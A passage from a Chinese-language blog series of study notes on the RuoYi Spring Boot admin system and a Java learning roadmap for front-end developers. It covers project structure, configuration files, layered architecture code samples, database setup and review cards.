import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.*;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.page.TableDataInfo;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.ShiroUtils;
import com.ruoyi.system.domain.SysUser;
import com.ruoyi.system.service.ISysUserService;

/**
 * 用户信息
 * 
 * @author ruoyi
 */
@Controller
@RequestMapping("/system/user")
public class SysUserController extends BaseController {
    private String prefix = "system/user";

    @Autowired
    private ISysUserService userService;

    @RequiresPermissions("system:user:view")
    @GetMapping()
    public String user() {
        return prefix + "/user";
    }

    @RequiresPermissions("system:user:list")
    @PostMapping("/list")
    @ResponseBody
    public TableDataInfo list(SysUser user) {
        startPage();
        List<SysUser> list = userService.selectUserList(user);
        return getDataTable(list);
    }

    @Log(title = "用户管理", businessType = BusinessType.INSERT)
    @RequiresPermissions("system:user:add")
    @PostMapping("/add")
    @ResponseBody
    public AjaxResult addSave(@Validated SysUser user) {
        return toAjax(userService.insertUser(user));
    }

    @Log(title = "用户管理", businessType = BusinessType.UPDATE)
    @RequiresPermissions("system:user:edit")
    @PostMapping("/edit")
    @ResponseBody
    public AjaxResult editSave(@Validated SysUser user) {
        return toAjax(userService.updateUser(user));
    }

    @Log(title = "用户管理", businessType = BusinessType.DELETE)
    @RequiresPermissions("system:user:remove")
    @PostMapping("/remove")
    @ResponseBody
    public AjaxResult remove(String ids) {
        return toAjax(userService.deleteUserByIds(ids));
    }
}

Service 层示例

// src/main/java/com/ruoyi/system/service/impl/SysUserServiceImpl.java
package com.ruoyi.system.service.impl;

import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import com.ruoyi.common.core.text.Convert;
import com.ruoyi.system.domain.SysUser;
import com.ruoyi.system.mapper.SysUserMapper;
import com.ruoyi.system.service.ISysUserService;

/**
 * 用户 业务层处理
 * 
 * @author ruoyi
 */
@Service
public class SysUserServiceImpl implements ISysUserService {
    @Autowired
    private SysUserMapper userMapper;

    @Override
    public List<SysUser> selectUserList(SysUser user) {
        return userMapper.selectUserList(user);
    }

    @Override
    public SysUser selectUserById(Long userId) {
        return userMapper.selectUserById(userId);
    }

    @Override
    @Transactional
    public int insertUser(SysUser user) {
        // 新增用户信息
        int rows = userMapper.insertUser(user);
        // 新增用户岗位关联
        insertUserPost(user);
        // 新增用户与角色管理
        insertUserRole(user);
        return rows;
    }

    @Override
    @Transactional
    public int updateUser(SysUser user) {
        // 删除用户与角色关联
        userMapper.deleteUserRoleByUserId(user.getUserId());
        // 新增用户和角色管理
        insertUserRole(user);
        // 删除用户与岗位关联
        userMapper.deleteUserPostByUserId(user.getUserId());
        // 新增用户与岗位管理
        insertUserPost(user);
        return userMapper.updateUser(user);
    }

    @Override
    @Transactional
    public int deleteUserByIds(String ids) {
        return userMapper.deleteUserByIds(Convert.toStrArray(ids));
    }
}

配置类示例

// src/main/java/com/ruoyi/framework/config/ShiroConfig.java
package com.ruoyi.framework.config;

import java.util.LinkedHashMap;
import java.util.Map;
import javax.servlet.Filter;
import org.apache.shiro.spring.web.ShiroFilterFactoryBean;
import org.apache.shiro.web.mgt.DefaultWebSecurityManager;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

/**
 * Shiro 配置
 * 
 * @author ruoyi
 */
@Configuration
public class ShiroConfig {
    
    @Bean
    public DefaultWebSecurityManager securityManager() {
        DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
        // 设置 Realm
        securityManager.setRealm(userRealm());
        return securityManager;
    }
    
    @Bean
    public ShiroFilterFactoryBean shiroFilterFactoryBean(DefaultWebSecurityManager securityManager) {
        ShiroFilterFactoryBean factoryBean = new ShiroFilterFactoryBean();
        factoryBean.setSecurityManager(securityManager);
        
        // 配置过滤链
        Map<String, String> filterChainDefinitionMap = new LinkedHashMap<>();
        filterChainDefinitionMap.put("/login", "anon");
        filterChainDefinitionMap.put("/captcha/captchaImage**", "anon");
        filterChainDefinitionMap.put("/**", "authc");
        
        factoryBean.setFilterChainDefinitionMap(filterChainDefinitionMap);
        return factoryBean;
    }
}

自动配置原理

Spring Boot 的自动配置是通过 @EnableAutoConfiguration 实现的：

// Spring Boot 启动时会扫描 META-INF/spring.factories
// 加载所有自动配置类

// 例如：DataSourceAutoConfiguration
@Configuration
@ConditionalOnClass({ DataSource.class, EmbeddedDatabaseType.class })
@EnableConfigurationProperties(DataSourceProperties.class)
public class DataSourceAutoConfiguration {
    // 自动配置数据源
}

RuoYi 排除了默认的数据源自动配置：

@SpringBootApplication(exclude = { DataSourceAutoConfiguration.class })
public class RuoYiApplication {
    // 使用 Druid 自定义数据源
}

项目分层架构

┌─────────────────────────────────────────┐
│           Controller 层                  │
│    (接收请求、参数校验、返回响应)          │
└─────────────────┬───────────────────────┘
                  │
┌─────────────────▼───────────────────────┐
│            Service 层                    │
│    (业务逻辑、事务控制、数据组装)          │
└─────────────────┬───────────────────────┘
                  │
┌─────────────────▼───────────────────────┐
│            Mapper 层                     │
│    (数据库操作、SQL 执行)                │
└─────────────────┬───────────────────────┘
                  │
┌─────────────────▼───────────────────────┐
│           Database                       │
│    (MySQL 数据存储)                      │
└─────────────────────────────────────────┘

RuoYi 包结构规范

包名	职责	示例
`controller`	接收 HTTP 请求	`SysUserController`
`service`	业务逻辑接口	`ISysUserService`
`service.impl`	业务逻辑实现	`SysUserServiceImpl`
`mapper`	数据库访问接口	`SysUserMapper`
`domain`	实体类	`SysUser`
`domain.vo`	视图对象	`UserVO`
`domain.dto`	数据传输对象	`UserDTO`

复习卡片

// Spring Boot 核心注解记忆
// @SpringBootApplication - 启动类
// @RestController - REST 控制器
// @Service - 业务层
// @Repository - 数据层
// @Autowired - 自动注入
// @RequestMapping - 请求映射

// IoC 核心思想
// 不要自己 new，让容器帮你管理

// 分层架构
// Controller -> Service -> Mapper -> Database

// RuoYi 包结构
// com.ruoyi.system.controller
// com.ruoyi.system.service
// com.ruoyi.system.mapper
// com.ruoyi.system.domain

概念	说明
IoC	控制反转，对象由容器创建
DI	依赖注入，容器自动装配依赖
Bean	Spring 管理的对象实例
自动配置	Spring Boot 根据依赖自动配置 Bean

[!TIP] 下一步：阶段三：MyBatis 与数据库操作

在阶段三中，我们将深入理解 MyBatis 的工作原理，以及 RuoYi 是如何进行数据库操作的。

RuoYi 阶段一：项目概览与环境搭建

Mon, 07 Sep 2026 03:00:00 GMT

[!NOTE] 本文是 RuoYi 学习路线的阶段一，聚焦项目结构和环境搭建。学完本篇你应该能：

在本地成功运行 RuoYi 项目

理解项目的模块划分和包结构

知道每个配置文件的作用

前端视角：RuoYi 像什么？

如果把 RuoYi 比作前端项目：

RuoYi	前端类比
`pom.xml`	`package.json`
`src/main/java/com/ruoyi/`	`src/`
`application.yml`	`.env` + `config.js`
`RuoYiApplication.java`	`main.js` / `index.ts`
`sql/ry_20240629.sql`	数据库迁移脚本
Maven	npm / pnpm

项目结构详解

RuoYi/
├── src/
│   ├── main/
│   │   ├── java/com/ruoyi/
│   │   │   ├── common/              # 公共模块
│   │   │   │   ├── annotation/      # 自定义注解
│   │   │   │   ├── config/          # 配置类
│   │   │   │   ├── constant/        # 常量定义
│   │   │   │   ├── core/            # 核心基类
│   │   │   │   ├── enums/           # 枚举类
│   │   │   │   ├── exception/       # 异常处理
│   │   │   │   ├── filter/          # 过滤器
│   │   │   │   └── utils/           # 工具类
│   │   │   │
│   │   │   ├── framework/           # 框架核心
│   │   │   │   ├── aspectj/         # AOP 切面
│   │   │   │   ├── config/          # 框架配置
│   │   │   │   ├── datasource/      # 数据源配置
│   │   │   │   ├── interceptor/     # 拦截器
│   │   │   │   ├── shiro/           # Shiro 安全框架
│   │   │   │   └── web/             # Web 配置
│   │   │   │
│   │   │   ├── generator/           # 代码生成器
│   │   │   │   ├── controller/      # 生成器 Controller
│   │   │   │   ├── domain/          # 生成器实体
│   │   │   │   ├── mapper/          # 生成器 Mapper
│   │   │   │   ├── service/         # 生成器 Service
│   │   │   │   └── util/            # 生成器工具
│   │   │   │
│   │   │   ├── quartz/              # 定时任务
│   │   │   │   ├── controller/      # 任务 Controller
│   │   │   │   ├── domain/          # 任务实体
│   │   │   │   ├── mapper/          # 任务 Mapper
│   │   │   │   ├── service/         # 任务 Service
│   │   │   │   └── util/            # 任务工具
│   │   │   │
│   │   │   ├── system/              # 系统模块（核心业务）
│   │   │   │   ├── controller/      # Controller 层
│   │   │   │   ├── domain/          # 实体类
│   │   │   │   ├── mapper/          # MyBatis Mapper
│   │   │   │   └── service/         # Service 层
│   │   │   │
│   │   │   └── web/                 # Web 层
│   │   │       └── controller/      # 公共 Controller
│   │   │
│   │   └── resources/
│   │       ├── mapper/              # MyBatis XML 映射文件
│   │       │   ├── generator/       # 代码生成器 Mapper XML
│   │       │   ├── quartz/          # 定时任务 Mapper XML
│   │       │   └── system/          # 系统模块 Mapper XML
│   │       │
│   │       ├── static/              # 静态资源
│   │       │   ├── ajax/            # Ajax 插件
│   │       │   ├── css/             # 样式文件
│   │       │   ├── fonts/           # 字体文件
│   │       │   ├── img/             # 图片
│   │       │   └── js/              # JavaScript
│   │       │
│   │       ├── templates/           # Thymeleaf 模板
│   │       │   ├── error/           # 错误页面
│   │       │   ├── include/         # 公共片段
│   │       │   ├── index/           # 首页
│   │       │   ├── login/           # 登录页
│   │       │   ├── monitor/         # 监控页面
│   │       │   ├── system/          # 系统管理页面
│   │       │   └── tool/            # 工具页面
│   │       │
│   │       ├── application.yml      # 主配置文件
│   │       ├── application-druid.yml # 数据源配置
│   │       ├── logback.xml          # 日志配置
│   │       └── banner.txt           # 启动 Banner
│   │
│   └── test/                        # 测试代码
│
├── sql/                             # 数据库脚本
│   ├── ry_20240629.sql              # 主库脚本
│   └── quartz.sql                   # 定时任务脚本
│
├── pom.xml                          # Maven 配置
├── README.md                        # 项目说明
└── LICENSE                          # 开源协议

Maven 配置 (pom.xml)

pom.xml 是项目的"package.json"，定义了依赖和构建配置：

<!-- pom.xml 核心依赖 -->
<dependencies>
    <!-- Spring Boot 核心 -->
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
    </dependency>
    
    <!-- Spring Boot 测试 -->
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-test</artifactId>
        <scope>test</scope>
    </dependency>
    
    <!-- MyBatis -->
    <dependency>
        <groupId>org.mybatis.spring.boot</groupId>
        <artifactId>mybatis-spring-boot-starter</artifactId>
        <version>2.3.1</version>
    </dependency>
    
    <!-- MySQL 驱动 -->
    <dependency>
        <groupId>com.mysql</groupId>
        <artifactId>mysql-connector-j</artifactId>
        <scope>runtime</scope>
    </dependency>
    
    <!-- Druid 连接池 -->
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>druid-spring-boot-starter</artifactId>
        <version>1.2.20</version>
    </dependency>
    
    <!-- Shiro 安全框架 -->
    <dependency>
        <groupId>org.apache.shiro</groupId>
        <artifactId>shiro-spring</artifactId>
        <version>1.13.0</version>
    </dependency>
    
    <!-- Thymeleaf 模板引擎 -->
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-thymeleaf</artifactId>
    </dependency>
    
    <!-- Quartz 定时任务 -->
    <dependency>
        <groupId>org.quartz-scheduler</groupId>
        <artifactId>quartz</artifactId>
    </dependency>
    
    <!-- 代码生成器模板引擎 -->
    <dependency>
        <groupId>org.apache.velocity</groupId>
        <artifactId>velocity-engine-core</artifactId>
        <version>2.3</version>
    </dependency>
</dependencies>

[!TIP] Maven 依赖管理对比 npm：

mvn clean install ≈ npm install

mvn spring-boot:run ≈ npm run dev

pom.xml 的 <dependencies> ≈ package.json 的 dependencies

配置文件详解

application.yml（主配置）

# src/main/resources/application.yml
spring:
  # 环境配置
  profiles:
    active: druid
  
  # 文件上传限制
  servlet:
    multipart:
      max-file-size: 10MB
      max-request-size: 20MB
  
  # Thymeleaf 模板引擎
  thymeleaf:
    mode: HTML
    encoding: utf-8
    cache: false  # 开发环境关闭缓存
  
  # 静态资源
  web:
    resources:
      static-locations: classpath:/static/,classpath:/public/

# MyBatis 配置
mybatis:
  typeAliasesPackage: com.ruoyi.**.domain
  mapperLocations: classpath:mapper/**/*.xml
  configLocation: classpath:mybatis/mybatis-config.xml

# Shiro 配置
shiro:
  user:
    # 登录地址
    loginUrl: /login
    # 首页
    indexUrl: /index
    # 密码错误次数
    password:
      maxRetryCount: 5
      lockTime: 10  # 锁定时间（分钟）

# 项目相关配置
ruoyi:
  # 名称
  name: RuoYi
  # 版本
  version: 4.8.3
  # 版权年份
  copyrightYear: 2024
  # 实例演示开关
  demoEnabled: true
  # 文件路径（上传文件存储位置）
  profile: D:/ruoyi/uploadPath
  # 获取 IP 地址的 header 键
  addressEnabled: false

application-druid.yml（数据源配置）

# src/main/resources/application-druid.yml
spring:
  datasource:
    type: com.alibaba.druid.pool.DruidDataSource
    driverClassName: com.mysql.cj.jdbc.Driver
    druid:
      # 主库数据源
      master:
        url: jdbc:mysql://localhost:3306/ry?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8
        username: root
        password: your_password
      # 从库数据源（可选）
      slave:
        enabled: false
        url: 
        username: 
        password: 
      # 初始连接数
      initialSize: 5
      # 最小连接池数量
      minIdle: 10
      # 最大连接池数量
      maxActive: 20
      # 配置获取连接等待超时的时间
      maxWait: 60000
      # 配置检测间隔时间
      timeBetweenEvictionRunsMillis: 60000
      # 配置连接最小生存时间
      minEvictableIdleTimeMillis: 300000
      # 配置检测连接是否有效
      validationQuery: SELECT 1 FROM DUAL
      testWhileIdle: true
      testOnBorrow: false
      testOnReturn: false

启动类

// src/main/java/com/ruoyi/RuoYiApplication.java
package com.ruoyi;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration;

/**
 * 启动程序
 * 
 * @author ruoyi
 */
@SpringBootApplication(exclude = { DataSourceAutoConfiguration.class })
public class RuoYiApplication {
    public static void main(String[] args) {
        SpringApplication.run(RuoYiApplication.class, args);
        System.out.println("(♥◠‿◠)ﾉﾞ  RuoYi 启动成功   ლ(´ڡ`ლ)ﾞ");
    }
}

[!IMPORTANT] @SpringBootApplication 是一个组合注解，包含：

@SpringBootConfiguration：标注配置类

@EnableAutoConfiguration：启用自动配置

@ComponentScan：组件扫描

exclude = { DataSourceAutoConfiguration.class } 排除了 Spring Boot 默认的数据源配置，因为 RuoYi 使用 Druid 自定义数据源。

数据库脚本导入

RuoYi 提供了两个 SQL 脚本：

脚本	说明
`sql/ry_20240629.sql`	主库脚本（用户、角色、菜单、部门等表）
`sql/quartz.sql`	定时任务脚本（Quartz 相关表）

导入步骤

# 1. 创建数据库
mysql -u root -p
CREATE DATABASE ry DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
EXIT;

# 2. 导入主库脚本
mysql -u root -p ry < sql/ry_20240629.sql

# 3. 导入定时任务脚本
mysql -u root -p ry < sql/quartz.sql

# 4. 验证
mysql -u root -p
USE ry;
SHOW TABLES;
# 应该看到 sys_user, sys_role, sys_menu, sys_dept 等表

核心数据表

表名	说明
`sys_user`	用户表
`sys_role`	角色表
`sys_menu`	菜单表
`sys_dept`	部门表
`sys_post`	岗位表
`sys_dict_type`	字典类型表
`sys_dict_data`	字典数据表
`sys_config`	参数配置表
`sys_logininfor`	登录日志表
`sys_oper_log`	操作日志表
`sys_user_role`	用户-角色关联表
`sys_role_menu`	角色-菜单关联表
`sys_role_dept`	角色-部门关联表
`sys_user_post`	用户-岗位关联表

启动与验证

IDEA 启动

用 IDEA 打开项目（选择 pom.xml 作为项目导入）
等待 Maven 下载依赖
修改 application-druid.yml 中的数据库密码
运行 RuoYiApplication.java

命令行启动

# 编译项目
mvn clean install -DskipTests

# 启动
mvn spring-boot:run

# 或者打包后运行
mvn clean package -DskipTests
java -jar target/ruoyi.jar

访问验证

http://localhost:80

默认账号：

用户名：admin
密码：admin123

常见启动问题

1. 数据库连接失败

Communications link failure

解决：检查 application-druid.yml 中的数据库 URL、用户名、密码。

2. 端口被占用

Port 80 was already in use

解决：修改 application.yml 中的端口，或关闭占用端口的程序。

server:
  port: 8080  # 改成其他端口

3. Maven 依赖下载慢

解决：配置阿里云镜像。

<!-- ~/.m2/settings.xml -->
<mirrors>
    <mirror>
        <id>aliyunmaven</id>
        <mirrorOf>*</mirrorOf>
        <name>阿里云公共仓库</name>
        <url>https://maven.aliyun.com/repository/public</url>
    </mirror>
</mirrors>

4. Thymeleaf 模板找不到

Template might not exist or might not be accessible

解决：确保 spring.thymeleaf.cache: false（开发环境），并检查模板路径。

复习卡片

// RuoYi 项目结构记忆口诀
// common  - 公共工具
// framework - 框架核心
// system  - 系统业务
// generator - 代码生成
// quartz  - 定时任务

// 启动类关键注解
@SpringBootApplication(exclude = { DataSourceAutoConfiguration.class })

// 配置文件加载顺序
// application.yml -> application-{profile}.yml

// 默认账号
// admin / admin123

文件	作用
`pom.xml`	Maven 依赖管理
`application.yml`	主配置文件
`application-druid.yml`	数据源配置
`RuoYiApplication.java`	启动入口
`sql/ry_20240629.sql`	主库脚本
`sql/quartz.sql`	定时任务脚本

[!TIP] 下一步：阶段二：Spring Boot 基础与项目结构

在阶段二中，我们将深入理解 Spring Boot 的自动配置原理，以及 RuoYi 是如何利用 Spring Boot 的特性来简化开发的。

RuoYi 学习路线总览：从 0 到 1 拆解若依后台管理系统

Mon, 07 Sep 2026 02:00:00 GMT

写了几年前端，最近想系统学习 Java 后台开发。选了 RuoYi（若依） 作为切入点——它是一个基于 Spring Boot 的轻量级后台管理系统，核心技术采用 Spring + MyBatis + Shiro，没有过度封装，代码结构清晰，非常适合学习。

这个系列不是"RuoYi 使用手册"，而是一份项目拆解笔记：把若依的 18 个功能模块拆成 12 个学习阶段，每个阶段聚焦一个核心技术点，配上项目中的真实代码片段，方便日后回来快速回忆。

[!NOTE] 阅读顺序建议按下面的阶段编号从头到尾走一遍；已经熟悉的阶段可以直接跳到对应文章当作速查表使用。

项目简介

维度	内容
项目名称	RuoYi（若依）
当前版本	v4.8.3
技术栈	Spring Boot + Spring + MyBatis + Shiro
前端	Hplus (H+) 后台主题 UI
JDK 版本	支持 8+ / 17+（多版本分支）
数据库	MySQL 5.7+ / 8.0+
项目地址	https://github.com/yangzongzhuan/RuoYi

内置功能模块

RuoYi 提供了 18 个开箱即用的功能模块：

序号	模块	说明
1	用户管理	系统用户配置、密码加密、状态管理
2	部门管理	组织机构树结构、数据权限
3	岗位管理	用户所属职务配置
4	菜单管理	系统菜单、操作权限、按钮权限标识
5	角色管理	角色菜单权限分配、数据范围权限
6	字典管理	固定数据维护（如性别、状态）
7	参数管理	系统动态配置常用参数
8	通知公告	系统通知公告信息发布
9	操作日志	正常操作日志记录和查询
10	登录日志	登录日志记录查询（含异常）
11	在线用户	活跃用户状态监控
12	定时任务	在线任务调度、执行结果日志
13	代码生成	前后端代码生成（CRUD）
14	系统接口	自动生成 API 接口文档
15	服务监控	CPU、内存、磁盘、堆栈监控
16	缓存监控	缓存查询、删除、清空
17	在线构建器	拖动表单元素生成 HTML
18	连接池监视	数据库连接池状态监控

学习路线图

整个路线拆成 12 个阶段，前 4 个阶段是技术基础，中间 4 个是核心业务模块，最后 4 个是高级特性：

阶段	主题	关键概念	预计投入
一	项目概览与环境搭建	JDK/Maven/MySQL、项目结构、配置文件	半天
二	Spring Boot 基础	IoC/DI、注解、自动配置、Starter	1 天
三	MyBatis 与数据库	Mapper/XML、CRUD、分页、事务	1 天
四	Shiro 权限框架	认证/授权、Session、Realm、注解	1 天
五	用户管理模块	实体类、Service、Controller、密码加密	1 天
六	角色与菜单管理	RBAC 模型、树形结构、权限分配	1 天
七	部门与岗位管理	数据权限、树形查询、递归	半天
八	字典与参数管理	缓存设计、Redis 集成、配置中心	半天
九	日志管理	AOP 切面、操作日志、登录日志	半天
十	定时任务	Quartz 框架、任务调度、执行日志	1 天
十一	代码生成器	模板引擎、Velocity、自定义生成	1 天
十二	系统监控	Actuator、服务监控、缓存监控	半天

阶段索引

下面是每个阶段对应的文章。链接是站内绝对路径，跟着 base /blog 走：

前端工程师的技术栈对照

学 RuoYi 之前，先把前端里熟悉的模式映射到 Java 后台：

维度	前端 (React/Vue)	RuoYi (Java)
项目结构	`src/components/`、`src/pages/`	`src/main/java/com/ruoyi/` 按模块分包
依赖管理	`package.json` + npm/pnpm	`pom.xml` + Maven
路由	React Router / Vue Router	Spring MVC `@RequestMapping`
状态管理	Redux / Vuex / Zustand	Shiro Session + Redis 缓存
HTTP 请求	axios / fetch	Spring `RestTemplate` / MyBatis SQL
表单验证	Formik / VeeValidate	Hibernate Validator `@Valid`
权限控制	路由守卫 + 按钮级权限	Shiro 注解 `@RequiresPermissions`
组件复用	公共组件 / Hooks	Service 层 / 工具类
配置管理	`.env` / `config.js`	`application.yml` / `application-druid.yml`
构建工具	Vite / Webpack	Maven / Gradle
代码生成	plop / hygen	RuoYi 代码生成器 (Velocity 模板)

[!TIP] RuoYi 里最像前端的两个地方：

代码生成器——类似前端的脚手架，根据数据库表生成 CRUD 代码

树形结构——部门、菜单都是树形数据，和前端 Tree 组件逻辑一致

环境准备（一次性）

后续每篇文章里的代码都假设你已经完成下面这些准备：

# 1. 装 JDK 17+（推荐 Eclipse Temurin 或 Oracle JDK）
java -version
# openjdk version "17.0.x" ...

# 2. 装 Maven 3.6+
mvn -v
# Apache Maven 3.9.x

# 3. 装 MySQL 5.7+ 或 8.0+
mysql --version
# mysql Ver 8.0.x

# 4. 装 Redis（可选，用于缓存和 Session）
redis-server --version
# Redis server v=7.x

# 5. 装一个 IDE：IntelliJ IDEA Community 免费且开箱即用
#    Eclipse 也可以，但 IDEA 对 Spring Boot 支持更好

克隆项目

# 克隆 RuoYi 项目
git clone https://github.com/yangzongzhuan/RuoYi.git
cd RuoYi

# 导入数据库脚本
# sql/ry_20240629.sql 是主库脚本
# sql/quartz.sql 是定时任务脚本
mysql -u root -p < sql/ry_20240629.sql
mysql -u root -p < sql/quartz.sql

修改配置

# src/main/resources/application-druid.yml
spring:
  datasource:
    druid:
      master:
        url: jdbc:mysql://localhost:3306/ry?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8
        username: root
        password: your_password

# 启动项目
mvn spring-boot:run
# 或者直接在 IDEA 里运行 RuoYiApplication.java

# 访问 http://localhost:80
# 默认账号：admin / admin123

项目结构速览

RuoYi/
├── src/
│   ├── main/
│   │   ├── java/com/ruoyi/
│   │   │   ├── common/          # 公共模块（工具类、常量、异常）
│   │   │   ├── framework/       # 框架核心（Shiro、MyBatis、AOP）
│   │   │   ├── generator/       # 代码生成器
│   │   │   ├── quartz/          # 定时任务
│   │   │   ├── system/          # 系统模块（用户、角色、菜单、部门）
│   │   │   └── web/             # Web 层（Controller）
│   │   └── resources/
│   │       ├── mapper/          # MyBatis XML 映射文件
│   │       ├── static/          # 静态资源（前端页面）
│   │       ├── templates/       # Thymeleaf 模板
│   │       └── application.yml  # 配置文件
│   └── test/                    # 测试代码
├── sql/                         # 数据库脚本
├── pom.xml                      # Maven 配置
└── README.md                    # 项目说明

如何使用这个系列复习

写这个系列时特意做了三件事，方便日后回来"扫一眼就想起来"：

每篇文章都有"复习卡片"小节，把关键概念压缩成几行代码或一张表，不用重读正文也能回忆起要点。
每个功能都配项目真实代码，代码块都标注了文件路径，可以直接在 IDEA 里定位。
每个阶段都有架构图或流程图，帮助理解模块之间的关系。

推荐的复习节奏：

第一次学：按阶段顺序读，每篇结束在 IDEA 里把对应模块的代码翻一遍。
一周后：只看每篇的"复习卡片"和架构图，回忆不起来的再翻正文。
一个月后：把整个系列当作速查手册，遇到具体功能问题直接搜文章内的锚点。

[!IMPORTANT] 光读不写等于没学。每个阶段建议配一个小练习：

阶段一到四：跑通项目，理解启动流程

阶段五到八：给某个模块加一个新字段（如用户加"手机号"）

阶段九到十二：用代码生成器生成一个新模块，并集成到系统中

参考资源

RuoYi 官方文档：http://doc.ruoyi.vip
RuoYi 在线演示：http://ruoyi.vip（admin/admin123）
Spring Boot 官方文档：https://spring.io/projects/spring-boot
MyBatis 官方文档：https://mybatis.org/mybatis-3/
Shiro 官方文档：https://shiro.apache.org/
GitHub 项目地址：https://github.com/yangzongzhuan/RuoYi

下一篇从最基础的项目结构和环境搭建开始，把"RuoYi 是怎么跑起来的"讲清楚。

Java 学习路线总览：前端工程师的重学笔记

Sat, 05 Sep 2026 12:00:00 GMT

写了几年 JavaScript/TypeScript，最近因为工作要接触后端服务，决定系统地把 Java 学一遍。这个系列不是"Java 从入门到精通"式的教程，而是一份前端工程师视角的重学笔记：每个知识点都会尽量对照 JS 里已经熟悉的心智模型，配上可以直接跑的最小代码片段，方便日后回来快速回忆。

[!NOTE] 阅读顺序建议按下面的阶段编号从头到尾走一遍；已经熟悉的阶段可以直接跳到对应文章当作速查表使用。

学习路线图

整个路线拆成 11 个阶段，前 4 个阶段是语法基础，中间 4 个是面向对象与常用 API，最后 3 个进入现代 Java 的工程实践：

阶段	主题	关键概念	预计投入
一	环境与第一个程序	JDK / JRE / JVM、`javac`、`java`、classpath	半天
二	变量与数据类型	基本类型、包装类、类型转换、`String` 不可变	1 天
三	运算符与流程控制	`switch` 表达式、增强 for、`break/continue` 标签	半天
四	数组与字符串	一维/二维数组、`StringBuilder`、正则	1 天
五	类与对象	构造器、`this`、`static`、包与访问修饰符	1 天
六	继承与多态	`extends`、`super`、重写、向上转型、`Object`	1 天
七	接口与抽象类	`interface`、`abstract`、默认方法、`final`	1 天
八	集合框架	`List` / `Set` / `Map`、`ArrayList` vs `LinkedList`、`HashMap` 原理	2 天
九	异常与泛型	`try/catch/finally`、`throws`、泛型类/方法/通配符	1 天
十	Lambda 与 Stream	函数式接口、`Stream` 三段式、`Optional`	1 天
十一	多线程入门	`Thread` / `Runnable`、线程池、`synchronized`、`volatile`	2 天

阶段索引

下面是每个阶段对应的文章。链接是站内绝对路径，跟着 base /blog 走：

前端工程师的心智模型对照

学 Java 之前，先把 JS 里几个"想当然"的习惯掰一掰：

维度	JavaScript	Java
类型系统	动态类型，运行时才知道	静态类型，编译期就检查
变量声明	`let x = 1`（类型自动推断为 `number`）	`int x = 1;`（类型必须显式或用 `var`）
数字类型	只有 `number`（IEEE 754 双精度）	`byte` / `short` / `int` / `long` / `float` / `double` 六种
空值	`null` 与 `undefined`	只有 `null`；基本类型不能为 `null`
相等判断	`==` 会做类型转换，`===` 严格	`==` 比较值（基本类型）或引用（对象），`.equals()` 才是内容相等
字符串	不可变，模板字符串 `hi ${name}`	不可变，拼接用 `+` 或 `StringBuilder`，格式化用 `String.format`
数组	动态长度、可混合类型	固定长度、同一类型；动态用 `ArrayList`
对象字面量	`{ name: 'Tom' }` 随手就来	必须先有 `class`，再 `new`
函数	一等公民，随处可传	必须先属于类；一等公民要靠函数式接口 + Lambda
模块	ES Module `import / export`	`package` + `import`，一个 `.java` 文件一个 public 类
运行环境	浏览器 / Node.js 直接解释	编译成字节码，由 JVM 解释或 JIT 执行
依赖管理	npm / pnpm	Maven / Gradle
空安全	`?.`、`??`	`Optional<T>`、`Objects.requireNonNull`

[!TIP] Java 里最反直觉的两点：

String a = "hi"; String b = "hi"; a == b 可能为 true（字符串常量池），但永远用 .equals() 比较字符串内容。

对象数组 new int[3] 会初始化为 0，但 new String[3] 里全是 null——引用类型默认值是 null。

环境准备（一次性）

后续每篇文章里的代码都假设你已经完成下面这三件事：

# 1. 装 JDK 21（LTS 版本，Oracle JDK 或 Eclipse Temurin 都行）
java -version
# openjdk version "21.0.x" ...

# 2. 装一个 IDE：IntelliJ IDEA Community 免费且开箱即用
#    VS Code + Extension Pack for Java 也够用

# 3. 装 Maven（后面项目结构那篇会用到）
mvn -v
# Apache Maven 3.9.x

Windows 用户在系统环境变量里加 JAVA_HOME 指向 JDK 安装目录，把 %JAVA_HOME%\bin 加进 PATH。macOS/Linux 用 sdkman 或包管理器安装更省心。

如何使用这个系列复习

写这个系列时特意做了两件事，方便日后回来"扫一眼就想起来"：

每篇文章都有"复习卡片"小节，把关键概念压缩成几行代码或一张表，不用重读正文也能回忆起要点。
每个新概念都配可运行的最小示例，代码块都能直接复制到 IDEA 或 jshell 里跑起来。

推荐的复习节奏：

第一次学：按阶段顺序读，每篇结束在 IDE 里把示例敲一遍。
一周后：只看每篇的"复习卡片"和代码块标题，回忆不起来的再翻正文。
一个月后：把整个系列当作速查手册，遇到具体语法问题直接搜文章内的锚点。

[!IMPORTANT] 光读不写等于没学。每个阶段建议配一个小练习：阶段一到四写命令行小程序（计算器、猜数字），阶段五到七写一个图书管理的 OOP 模型，阶段八到十重构前面的代码用集合和 Stream，阶段十一给图书管理加并发借阅。

参考资源

官方教程：https://dev.java/learn/
Oracle 官方文档：https://docs.oracle.com/en/java/javase/21/
《Java 核心技术·卷 I》（Cay Horstmann）——当作字典查
《Effective Java》（Joshua Bloch）——学到阶段七之后再读

下一篇从最基础的 JDK / JRE / JVM 三兄弟开始，把"Java 代码是怎么跑起来的"讲清楚。

Java 阶段十一：多线程入门

Sat, 05 Sep 2026 06:00:00 GMT

前端的世界是单线程 + 事件循环，异步靠 Promise 和 async/await。Java 是真·多线程，多个线程同时读写同一份数据，稍不留神就会遇到竞态条件、死锁、内存可见性问题。这一篇是入门级导览，把心智模型和最基本的工具建起来。

